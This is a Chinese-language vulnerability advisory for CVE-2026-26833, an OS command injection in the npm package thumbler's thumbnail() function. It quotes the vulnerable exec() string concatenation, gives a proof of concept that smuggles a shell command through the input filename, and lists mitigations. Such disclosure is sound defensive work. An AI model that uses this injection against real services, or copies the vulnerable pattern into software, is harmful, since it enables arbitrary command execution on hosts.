CVE-2026-26833: thumbler 中的操作系统命令注入

摘要

thumbler 版本 1.1.2 及之前版本在 lib/thumbler.js 的 thumbnail() 函数中存在操作系统命令注入漏洞。该包将 input、output、time 和 size 值拼接成一个 ffmpeg 命令字符串，并使用 child_process.exec() 执行该字符串。攻击者如果能够控制这些值中的任意一个，就可以注入 shell 语法并执行任意命令。

受影响产品

漏洞详情

• CVE ID: CVE-2026-26833
• CWE: CWE-78 - 操作系统命令注入
• CVSS 3.1: 9.8 (严重)
• 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• 受影响组件: lib/thumbler.js, thumbnail()

漏洞代码路径构造了以下 shell 字符串：

exec(
  'ffmpeg -ss ' + time + ' -i "' + input + '" -vframes 1 -s ' +
  size + ' "' + output + '"',
  ...
);

由于命令是通过字符串拼接而成，每个由攻击者控制的字段都是一个潜在的注入点。

技术影响

任何使用用户可控媒体生成缩略图的服务，在调用 thumbnail() 时都可能在主机上执行命令。

概念验证

require("thumbler").thumbnail(
  'test.mp4"; id > /tmp/pwned; echo "',
  "/tmp/out.jpg",
  {},
  () => {}
);

缓解措施

撰写本文时，尚无修复的 npm 版本可用。

如果你仍然依赖此包：

1. 不要将不可信数据传入 thumbnail()。
2. 将 shell 字符串拼接替换为参数安全的进程执行。
3. 迁移至维护中的缩略图生成库或修复分支。

参考

• https://www.npmjs.com/package/thumbler
• https://github.com/mmahrous/thumbler
• https://github.com/mmahrous/thumbler/blob/master/lib/thumbler.js